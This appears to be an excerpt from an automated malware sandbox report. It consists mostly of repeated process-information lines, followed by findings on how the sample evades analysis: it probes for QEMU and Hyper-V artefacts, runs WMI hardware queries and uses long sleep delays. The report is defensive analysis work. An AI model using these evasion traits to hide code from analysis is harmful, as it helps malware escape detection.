          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Tries to detect Any.run
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\qga\qga.exe
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\qga\qga.exe
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
          Source: powershell.exe, 00000015.00000002.2351835327.00000000026D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE<
          Source: powershell.exe, 00000015.00000002.2381742196.0000000007F05000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE[
          Source: powershell.exe, 00000023.00000002.3336816025.0000000009431000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL
          Source: powershell.exe, 00000015.00000002.2389652355.0000000008851000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=PROGRAMFILES=\INTERNET EXPLORER\IEINSTAL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL
          Source: powershell.exe, 00000015.00000002.2389652355.0000000008851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3336816025.0000000009431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3332160593.0000000008757000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
          Source: powershell.exe, 00000023.00000002.3332160593.0000000008757000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
          Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
          Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2328Thread sleep time: -2767011611056431s >= -30000sJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 3948Thread sleep count: 96 > 30Jump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 3948Thread sleep time: -288000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6408Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4640Thread sleep time: -20291418481080494s >= -30000s
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3500Thread sleep count: 9151 > 30
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeLast function: Thread delayed
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeLast function: Thread delayed
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,28_2_0040DD85
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7780Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7663
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: threadDelayed 9151
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeAPI coverage: 10.0 %
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dllJump to dropped file
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dllJump to dropped file
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
          Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeAPI call chain: ExitProcess graph end nodegraph_30-33902
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
          Source: powershell.exe, 00000015.00000002.2381742196.0000000007F05000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe[
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
          Source: CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicshutdown
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
          Source: ieinstal.exe, 0000001A.00000002.6339175532.0000000003350000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Time Synchronization Service
          Source: CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicvss
